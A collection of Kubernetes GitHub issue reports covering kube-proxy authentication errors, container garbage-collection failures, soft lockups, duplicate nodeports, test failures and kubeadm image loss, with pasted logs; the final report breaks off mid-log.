i'm still digging into why i can get the proxy service to auth with the api using tls certs, but stack traces on the api server side are unexpected here.     environment      $ kubectl version client version: version.info{major:\ 0\ , minor:\ 20\ , gitversion:\ v0.20.0\ , gitcommit:\ c17a15a0cbcac20230c6d63a584958422c5fd9ec\ , gittreestate:\ clean\ } server version: version.info{major:\ 0\ , minor:\ 20\ , gitversion:\ v0.20.0\ , gitcommit:\ c17a15a0cbcac20230c6d63a584958422c5fd9ec\ , gittreestate:\ clean\ }          $ kubectl get cs name                 status    message              error controller-manager   healthy   ok                   nil scheduler            healthy   ok                   nil etcd-0               healthy   {\ health\ : \ true\ }   nil          $ docker info containers: 11 images: 50 storage driver: overlay  backing filesystem: extfs execution driver: native-0.2 logging driver: json-file kernel version: 4.0.5 operating system: coreos 723.0.0 cpus: 1 total memory: 3.619 gib name: node1.c.kubestack.internal id: emlc:7h7m:2eym:ny6k:mbxc:56ku:dj7t:ajl5:d5aq:dq52:xxnj:cbpy username: kelseyhightower registry: https://index.docker.io/v1/         logs  from the kube proxy logs:      e0629 00:40:15.930163       1 api.go:180  unable to load endpoints: the server has asked for the client to provide credentials  get endpoints  e0629 00:41:07.215017       1 api.go:108  unable to load services: the server has asked for the client to provide credentials  get services  e0629 00:41:35.783223       1 api.go:180  unable to load endpoints: the server has asked for the client to provide credentials  get endpoints       from the api server logs:      goroutine 327  running : github.com/googlecloudplatform/kubernetes/pkg/httplog.  resplogger .writeheader 0xc2095f92c0, 0x191      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/pkg/httplog/log.go:188 +0x9a net/http.error 0x7fcb95ba62c8, 0xc2095f92c0, 0x13ad950, 0xc, 0x191      /usr/src/go/src/net/http/server.go:1274 +0x9a github.com/googlecloudplatform/kubernetes/pkg/auth/handlers.unauthorized 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/pkg/auth/handlers/handlers.go:67 +0x4e net/http.handlerfunc.servehttp 0x16fdfb8, 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/googlecloudplatform/kubernetes/pkg/auth/handlers.func·001 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/pkg/auth/handlers/handlers.go:39 +0x2f7 net/http.handlerfunc.servehttp 0xc208607bc0, 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/googlecloudplatform/kubernetes/pkg/api.func·013 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/pkg/api/requestcontext.go:101 +0xe1 net/http.handlerfunc.servehttp 0xc2085e71c0, 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/googlecloudplatform/kubernetes/pkg/api.func·013 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/pkg/api/requestcontext.go:101 +0xe1 net/http.handlerfunc.servehttp 0xc208917820, 0x7fcb95ba62c8, 0xc2095f92c0, 0xc208b7a680      /usr/src/go/src/net/http/server.go:1265 +0x41 github.com/googlecloudplatform/kubernetes/pkg/apiser   kube-proxy/v0.20.0  linux/amd64  kubernetes/c17a15a  10.240.138.142:40890

we should serve a redirect on port 80 for apiserver traffic to the secure port.

we should be able to generate configurations  like kubectl run, expose  from application information.  one source could be the container, like podex: https://github.com/kubernetes/contrib/tree/master/podex  another source could be source files, like otto or build packs: https://github.com/hashicorp/otto/tree/master/appfile/detect https://docs.cloudfoundry.org/buildpacks/custom.html

feature request: make  /var/log/kern.log  an optional log source in the  google-fluentd.conf  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-gcp/fluentd-gcp-image/google-fluentd.conf  file.  stackoverflow question  here  http://stackoverflow.com/questions/34141748/kernel-logging-to-cloud-logging-for-container-engine-nodes .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no.    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  unable to delete filesystem  ---    is this a bug report or feature request?    choose one :  bug report.  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:08:43z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : gke -   os    e.g. from /etc/os-release :  pretty_name=\ debian gnu/linux 7  wheezy \  name=\ debian gnu/linux\  version_id=\ 7\  version=\ 7  wheezy \  id=debian ansi_color=\ 1;31\  home_url=\ http://www.debian.org/\  support_url=\ http://www.debian.org/support/\  bug_report_url=\ http://bugs.debian.org/\  -   kernel    e.g.  uname -a  : linux gke-xxx-default-pool-xxx-xxx 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux -   install tools  : none. -   others  : none.    what happened  :  garbage collector fails to remove old containers. eventually nodes run out of disc space and docker daemon and/or other things start to crash. instances get stuck with 100% cpu usage.  i've since replaced the stuck instances  but this is not the first time . i'm still seeing following error in google logs:      kubelet: \ failed to remove dead container \ /k8s_pod.xxxx\ : error response from daemon: unable to remove filesystem for dadbe8babd51056d22c6bf9a1e5c9220f2074feb4d00d874725b3e3773ce102e: remove /var/lib/docker/containers/dadbe8babd51056d22c6bf9a1e5c9220f2074feb4d00d874725b3e3773ce102e/shm: device or resource busy\   docker: handler for delete /containers/dadbe8babd51056d22c6bf9a1e5c9220f2074feb4d00d874725b3e3773ce102e returned error: unable to remove filesystem for dadbe8babd51056d22c6bf9a1e5c9220f2074feb4d00d874725b3e3773ce102e: remove /var/lib/docker/containers/dadbe8babd51056d22c6bf9a1e5c9220f2074feb4d00d874725b3e3773ce102e/shm: device or resource busy\        before i saw more interesting errors:      docker: \ collecting stats for 2356f6b7eb7f993d6ea1e9286e5edc0da11dda4e9d2e4d4beb05c35e71878067: invalid id:   kubelet:  \ failed to create summary reader for \ /docker/1a2010b84bf49f396e5acd8a4d0d96458043ff10eeb5dc4126ad3213ef213155\ : none of the resources are being tracked.\        a bit later:      22:06:11.000 eviction manager: unexpected err: failed getcontainerinfov2: unknown container: \ /\  22:06:11.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:12.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:13.000 container runtime sanity check failed: docker: failed to get docker version: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:13.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:14.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:14.000 security options with  :  as a separator are deprecated and will be completely unsupported in 1.13, use  =  instead. 22:06:14.000 failed to create summary reader for \ /docker/9dd56e5a42bb17701e322476aeeb3767295c1705afc3bb37bb0c2c83dcdc9750\ : none of the resources are being tracked. 22:06:15.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:16.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:16.000 while reading 'google-dockercfg' metadata: http status code: 404 while fetching url http://metadata.google.internal./computemetadata/v1/instance/attributes/google-dockercfg 22:06:16.000 while reading 'google-dockercfg-url' metadata: http status code: 404 while fetching url http://metadata.google.internal./computemetadata/v1/instance/attributes/google-dockercfg-url 22:06:16.000 security options with  :  as a separator are deprecated and will be completely unsupported in 1.13, use  =  instead. 22:06:17.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:17.000 security options with  :  as a separator are deprecated and will be completely unsupported in 1.13, use  =  instead. 22:06:18.000 container runtime sanity check failed: docker: failed to get docker version: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:18.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:18.000 failed to create summary reader for \ /docker/82ddd29cbe84685adf1322ad77016b1c4721a5e228fe23381b320c480cbb904f\ : none of the resources are being tracked. 22:06:19.000 error getting image list: cannot connect to the docker daemon. is the docker daemon running on this host? 22:06:19.000 failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container / 22:06:19.000 failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container /      and      15:22:03.000 failed to delete container: operation timeout: context deadline exceeded; skipping pod \ ec5aa9ac-7e6e-11e6-b32a-42010a800070\  15:22:04.000 failed to create pod infra container: runcontainererror; skipping pod \ xxx 323984f3-7fd4-11e6-b32a-42010a800070 \ : runcontainer: operation timeout: context deadline exceeded 15:22:19.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq 15:22:29.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq 15:22:33.000 genericpleg: unable to retrieve pods: operation timeout: context deadline exceeded 15:22:34.000 error listing containers: dockertools.operationtimeout{err:  errors.errorstring  0xc82000f310 } 15:22:34.000 failed cleaning pods: operation timeout: context deadline exceeded 15:22:39.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq 15:22:40.000 container garbage collection failed: operation timeout: context deadline exceeded 15:22:49.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq 15:22:59.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq 15:23:05.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq 15:23:09.000 missing default interface \ eth0\  for pod:xxx-446723216-jbngq      eventually leading to this:      03:06:14.000 container runtime sanity check failed: docker: failed to get docker version: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:14.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:15.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:15.000 error getting image list: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:15.000 failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container / 03:06:15.000 failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container / 03:06:15.000 failed to create summary reader for \ /docker/93f4b7062198072d70f8ec855639464926747ba8ddb902265c0155623c5f1c63\ : none of the resources are being tracked. 03:06:15.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:15.000 eviction manager: unexpected err: failed imagestats: failed to list docker images - cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:16.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:16.000 container runtime sanity check failed: docker: failed to get docker version: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:16.000 genericpleg: unable to retrieve pods: cannot connect to the docker daemon. is the docker daemon running on this host? 03:06:17.000         what you expected to happen  :  garbage collector doesn't let nodes run out of disc space.    how to reproduce it    as minimally and precisely as possible :  i'm not exactly sure. we have multiple deployments in multiple namespaces. the only out of ordinary thing is that we use big container images ~1gb. this has happened couple times. we were running  weave-scope  before and it seemed that maybe it might be related because when i inspected failing nodes using  kubectl describe  they showed event \ deleting all containers\  and the only container left running was the scope. it was stuck in \ terminating\  state and no way to remove it   kubectl delete pod   didn't work.  i have since removed  weave-scope , but i still see the  failed to remove dead container  errors.    anything else do we need to know  :  i've tracked down a docker issue which seems to be related - docker/docker 21704.  also seems related to  26000, but we're using standard gke image using aufs.  docker issue mentions that upgrading kernel to  >=3.19  might help. any chances we could have newer kernel in gke image?

we're seeing an abnormal number of soft lockups, pegged cpus and unusable nodes recently. the last repros were from @bowei and @freehan. \r \r   symptoms  \r kernel logs showed ebtables related traces, cpu was pegged at 100% and remained there, no ssh, basically no clarity till the node was reset. looking back through older test logs, there are several failures that had notready nodes that might be the same bug. \r \r   actions  \r minhan's working on a repro and @dchen1107 is trying to figure out when this spike happened by spelunking test logs. \r \r we've been syncing iptables rules from kube-proxy more often than we need to for a couple of releases  https://github.com/kubernetes/kubernetes/issues/26637 , this is the only thing that springs to mind that might cause cpu spikes. \r \r we should probably try to mitigate for 1.5, marking as release-blocker till we have a better handle. \r @saad-ali @kubernetes/sig-network @kubernetes/sig-node \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws, this particular node is a c3.4xlarge with 60 gb gp2 root volume.\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : linux 4.4.26-k8s  1 smp fri oct 21 05:21:13 utc 2016 x86_64 gnu/linux\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r the kubelet image garbage collection is triggered because disk space falls below the minimum threshold.  kubelet starts image deletions to recover disk space but by the end of the cleanup the node has been severely impacted with pods becoming unresponsive, restarted, and often rescheduled onto other nodes.  in this particular case you can see that cpu becomes almost zero because everything has been moved off this node.\r \r timing of this particular failure:\r 16:56:38.000 gc started with  image_gc_manager.go:238   imagegcmanager : disk usage on \ /dev/xvda1\   /  is at 90% which is over the high threshold  90% . trying to free 5766938624 bytes  message in logs\r 16:56:38 see the first  image_gc_manager.go:303   imagegcmanager : removing image  message in the logs\r 17:01:38 see the final  removing image  message in the logs which is the 8th image to be deleted\r 17:02 by this time graphs show just about everything has been moved off this node and there is nothing left running on it.\r \r the following graphs seem to indicate that as soon as the gc has finished kubelet \ wakes up\  and realizes everything has been removed from this node.  in the dashboard i saw this node  ready  state as  unknown  instead of  true  during this period.  it recovers and becomes functional after this hiccup and works fine when new pods get scheduled back onto the node.\r \r as expected the io is higher during the cleanup but other metrics look fine and don't indicate a overloaded instance.\r \r ! image  https://cloud.githubusercontent.com/assets/3944676/21147113/e2439eb6-c121-11e6-9662-c53a0c74e5e5.png \r \r ! image  https://cloud.githubusercontent.com/assets/3944676/21147121/e9044002-c121-11e6-9d1a-18153c1ba9e3.png \r \r ! image  https://cloud.githubusercontent.com/assets/3944676/21147131/f22e8840-c121-11e6-9b57-f9d15a64fc34.png \r \r \r   what you expected to happen  :\r no impact to running services on node.\r \r   how to reproduce it    as minimally and precisely as possible :\r this issue has happened on 3 different nodes all configured the same way.  i don't believe a gc has occurred without causing this impact.\r \r   anything else do we need to know  :\r discussed briefly with @justinsb \r \r just a guess but is there any chance  im.imagerecordslock.lock    at the top of  image_gc_manager.go->freespace  causes kubelet to stop processing other requests while gc is occuring?

kubernetes version    use  kubectl version  : 1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : 4.4.41-k8s\r -   install tools  : kops 1.5\r -   others  : terraform\r \r \r   what happened  : we had someone install and remove this chart a few times: https://github.com/kubernetes/charts/tree/master/stable/concourse, they deleted the pvcs as documented but this left the pvs in  released  state and then looped calling  volumedelete  and getting  volumeinuse  with no back-off.\r \r this resulted in ~50k aws api calls over 24 hours.\r \r \r   what you expected to happen  : at the very least the calls should have backed-off on failure.\r \r \r   how to reproduce it    as minimally and precisely as possible : delete a pvc for a statelfulset without deleting the pv.\r \r cc: @chrislovecnm & @jingxu97

bug report  \r \r   kubernetes version    use  kubectl version  : 1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  :  4.4.0-66-generic \r -   install tools  : salt\r -   others  :\r \r \r   what happened  :\r \r when running multiple api servers behind a loadbalancer it is possible to get the same nodeport assigned to multiple services. we have seen a nodeport re-used up to 4 times. \r \r when a nodeport gets re-used it prevents the kube-proxy iptables from being created: https://github.com/kubernetes/kubernetes/blob/v1.5.2/pkg/proxy/iptables/proxier.go l1108 which means all services that get a duplicated nodeport after the first one fail on all nodes.\r \r   what you expected to happen  :\r \r nodeports assigned via the api should always be unique across the cluster.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    run multiple apiservers behind a loadbalancer  we have 3 \r    create many nodeport enabled services at the same time.  we used gnu parallel to do this \r    check the created services and wait for duplicates to show up\r \r we created 1200 services, 5 at a time concurrently, each with 2 nodeports. ended up with 72 or 6% of those nodeports conflicting with another.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r pull-kubernetes-bazel job is failing\r see https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49507/pull-kubernetes-bazel/32757/\r \r    \r --- fail: testisdirwriteable  0.00s \r \tfileutil_test.go:38: expected isdirwriteable to error\r 2017-07-29 00:32:54.490716 i | fileutil: purged file /tmp/purgefile088685595/0.test successfully\r 2017-07-29 00:32:54.490758 i | fileutil: purged file /tmp/purgefile088685595/1.test successfully\r 2017-07-29 00:32:54.490777 i | fileutil: purged file /tmp/purgefile088685595/2.test successfully\r 2017-07-29 00:32:54.501104 i | fileutil: purged file /tmp/purgefile088685595/3.test successfully\r 2017-07-29 00:32:54.511479 i | fileutil: purged file /tmp/purgefile088685595/4.test successfully\r 2017-07-29 00:32:54.521806 i | fileutil: purged file /tmp/purgefile088685595/5.test successfully\r 2017-07-29 00:32:54.532322 i | fileutil: purged file /tmp/purgefile088685595/6.test successfully\r 2017-07-29 00:32:54.542918 i | fileutil: purged file /tmp/purgefile586492606/0.test successfully\r 2017-07-29 00:32:54.542962 i | fileutil: purged file /tmp/purgefile586492606/1.test successfully\r 2017-07-29 00:32:54.542992 i | fileutil: purged file /tmp/purgefile586492606/2.test successfully\r 2017-07-29 00:32:54.543034 i | fileutil: purged file /tmp/purgefile586492606/3.test successfully\r 2017-07-29 00:32:54.543076 i | fileutil: purged file /tmp/purgefile586492606/4.test successfully\r 2017-07-29 00:32:54.565204 i | fileutil: purged file /tmp/purgefile586492606/5.test successfully\r 2017-07-29 00:32:54.565253 i | fileutil: purged file /tmp/purgefile586492606/6.test successfully\r fail\r    \r \r   what you expected to happen  :\r test should pass\r \r   how to reproduce it  as minimally and precisely as possible   :\r bazel test //third_party/forked/etcd221/pkg/fileutil:go_default_test

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r ipvs proxy ut breaks in macos platform.\r \r   what you expected to happen  :\r \r should run ipvs proxy uts everywhere.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r that's because there is a  +build linux  flag in  pkg/proxy/ipvs/testing/fake.go , see https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/testing/fake.go l1\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r after ‘kubeadm init’ a little while, images disappear  and i found it be free by kubelet... \r   what you expected to happen  :\r kubernetes init successfully\r   how to reproduce it  as minimally and precisely as possible   :\r  kubeadm init --pod-network-cidr=192.168.0.0/16 \r \r   anything else we need to know?  :\r after 'kubeadm init' successfully, there are 5 images of kubernetes as below:\r \r > repository                                 tag                 image id            created             size\r k8s.gcr.io/kube-scheduler-amd64            v1.10.0             704ba848e69a        36 hours ago        50.4 mb\r k8s.gcr.io/kube-controller-manager-amd64   v1.10.0             ad86dbed1555        36 hours ago        148 mb\r k8s.gcr.io/kube-apiserver-amd64            v1.10.0             af20925d51a3        36 hours ago        225 mb\r k8s.gcr.io/etcd-amd64                      3.1.12              52920ad46f5b        2 weeks ago         193 mb\r k8s.gcr.io/pause-amd64                     3.1                 da86e6ba6ca1        3 months ago        742 kb\r \r but a little while later, when i try  docker images  again ,they are disappeared.\r and when i try to use  kubectl apply  to install a pod network, it returns:\r \r > the connection to the server 10.4.20.252:6443 was refused - did you specify the right host or port?\r \r i think it because of the images disappearance. but i don't know how to solve it...\r \r and today i read the logs of kubelet carefully. i found after the node registered successfully, there are some wrong come out. and then it began to clean up images and pods... how to stop it and why?\r the logs are below:\r \r > 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.166811   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ kubeconfig\   uniquename: \ kubernetes.io/host-path/daf4ae2370716908643234b98eb0dab8-kubeconfig\   pod \ kube-scheduler-ultron-pcn\   uid: \ daf4ae2370716908643234b98eb0dab8\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.166866   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ k8s-certs\   uniquename: \ kubernetes.io/host-path/01ea87c3be5c15a6f1b4d4a3004e63b7-k8s-certs\   pod \ kube-apiserver-ultron-pcn\   uid: \ 01ea87c3be5c15a6f1b4d4a3004e63b7\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.166932   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs-etc-pki\   uniquename: \ kubernetes.io/host-path/01ea87c3be5c15a6f1b4d4a3004e63b7-ca-certs-etc-pki\   pod \ kube-apiserver-ultron-pcn\   uid: \ 01ea87c3be5c15a6f1b4d4a3004e63b7\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.167011   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ k8s-certs\   uniquename: \ kubernetes.io/host-path/af2c38ba6bfc178ab7393e4bb5bbd81f-k8s-certs\   pod \ kube-controller-manager-ultron-pcn\   uid: \ af2c38ba6bfc178ab7393e4bb5bbd81f\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.167048   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs\   uniquename: \ kubernetes.io/host-path/af2c38ba6bfc178ab7393e4bb5bbd81f-ca-certs\   pod \ kube-controller-manager-ultron-pcn\   uid: \ af2c38ba6bfc178ab7393e4bb5bbd81f\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.167088   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ flexvolume-dir\   uniquename: \ kubernetes.io/host-path/af2c38ba6bfc178ab7393e4bb5bbd81f-flexvolume-dir\   pod \ kube-controller-manager-ultron-pcn\   uid: \ af2c38ba6bfc178ab7393e4bb5bbd81f\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : i0329 11:26:59.167174   20894 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs\   uniquename: \ kubernetes.io/host-path/01ea87c3be5c15a6f1b4d4a3004e63b7-ca-certs\   pod \ kube-apiserver-ultron-pcn\   uid: \ 01ea87c3be5c15a6f1b4d4a3004e63b7\  \r 3月 29 11:26:59 ultron-pcn kubelet 20894 : e0329 11:26:59.925331   20894 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.4.20.252:6443/api/v1/pods?fieldselector=spec.nodename%3dultron-pcn&limit=500&resourceversion=0: dial tcp 10.4.20.252:6443: getsockopt: connection refused\r 3月 29 11:26:59 ultron-pcn kubelet 20894 : e0329 11:26:59.926244   20894 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.4.20.252:6443/api/v1/nodes?fieldselector=metadata.name%3dultron-pcn&limit=500&resourceversion=0: dial tcp 10.4.20.252:6443: getsockopt: connection refused\r 3月 29 11:26:59 ultron-pcn kubelet 20894 : e0329 11:26:59.928165   20894 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.4.20.252:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.4.20.252:6443: getsockopt: connection refused\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : i0329 11:26:59.999796   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : w0329 11:27:00.002170   20894 status_manager.go:459  failed to get status for pod \ etcd-ultron-pcn_kube-system 408851a572c13f8177557fdb9151111c \ : get https://10.4.20.252:6443/api/v1/namespaces/kube-system/pods/etcd-ultron-pcn: dial tcp 10.4.20.252:6443: getsockopt: connection refused\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : i0329 11:27:00.005422   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : w0329 11:27:00.007571   20894 status_manager.go:459  failed to get status for pod \ kube-apiserver-ultron-pcn_kube-system 01ea87c3be5c15a6f1b4d4a3004e63b7 \ : get https://10.4.20.252:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ultron-pcn: dial tcp 10.4.20.252:6443: getsockopt: connection refused\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : i0329 11:27:00.009047   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : w0329 11:27:00.010945   20894 status_manager.go:459  failed to get status for pod \ kube-controller-manager-ultron-pcn_kube-system af2c38ba6bfc178ab7393e4bb5bbd81f \ : get https://10.4.20.252:6443/api/v1/namespaces/kube-system/pods/kube-controller-manager-ultron-pcn: dial tcp 10.4.20.252:6443: getsockopt: connection refused\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : i0329 11:27:00.285535   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:00 ultron-pcn kubelet 20894 : i0329 11:27:00.287985   20894 kubelet_node_status.go:82  attempting to register node ultron-pcn\r 3月 29 11:27:01 ultron-pcn kubelet 20894 : i0329 11:27:01.011772   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:01 ultron-pcn kubelet 20894 : i0329 11:27:01.011810   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:01 ultron-pcn kubelet 20894 : i0329 11:27:01.011773   20894 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 3月 29 11:27:01 ultron-pcn kubelet 20894 : w0329 11:27:01.131758   20894 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r 3月 29 11:27:01 ultron-pcn kubelet 20894 : e0329 11:27:01.131932   20894 kubelet.go:2105  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r 3月 29 11:27:06 ultron-pcn kubelet 20894 : e0329 11:27:06.130849   20894 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node \ ultron-pcn\  not found\r 3月 29 11:27:06 ultron-pcn kubelet 20894 : w0329 11:27:06.133020   20894 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r 3月 29 11:27:06 ultron-pcn kubelet 20894 : e0329 11:27:06.133207   20894 kubelet.go:2105  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config 